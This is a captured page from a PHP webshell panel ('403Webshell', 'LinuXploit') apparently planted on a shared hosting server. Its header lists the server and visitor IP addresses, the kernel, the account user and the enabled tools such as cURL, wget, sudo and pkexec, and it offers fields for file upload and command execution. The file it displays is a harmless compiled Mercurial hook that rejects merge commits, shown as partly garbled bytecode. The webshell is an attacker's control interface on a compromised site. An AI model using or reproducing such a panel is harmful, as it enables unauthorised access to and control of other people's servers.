403Webshell
Server IP : 172.67.156.203  /  Your IP : 216.73.216.44
Web Server : Apache
System : Linux gator4057.hostgator.com 5.14.0-687.17.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jun 22 07:21:26 EDT 2026 x86_64
User : badawi ( 1130)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python3.9/site-packages/hgext/hooklib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/site-packages/hgext/hooklib/__pycache__/reject_merge_commits.cpython-39.pyc
a

�+�b^�@s:dZddlmZddlmZddlmZmZddd�ZdS)	awreject_merge_commits is a hook to check new changesets for merge commits.
Merge commits are allowed only between different branches, i.e. merging
a feature branch into the main development branch. This can be used to
enforce policies for linear commit histories.

Usage:
  [hooks]
  pretxnchangegroup.reject_merge_commits =     python:hgext.hooklib.reject_merge_commits.hook
�)�absolute_import)�_)�error�pycompatNcs�|dkr t�td�t�|������|}�jj|��d�D]L������	�}t
|�dkr`q>t��fdd�|D��r>t�td����q>dS)NspretxnchangegroupsUnsupported hook type %r)�start�c3s"|]}�|�����kVqdS)N)�branch)�.0�p��repo�rev��H/usr/lib64/python3.9/site-packages/hgext/hooklib/reject_merge_commits.py�	<genexpr>&�zhook.<locals>.<genexpr>s@%s rejected as merge on the same branch. Please consider rebase.)rZAbortrrZbytestrZ
unfilteredZ	changelogZrevsr
�parents�len�all)ZuirZhooktypeZnode�kwargs�ctxrrrr�hooks$����r)N)	�__doc__Z
__future__rZmercurial.i18nrZ	mercurialrrrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit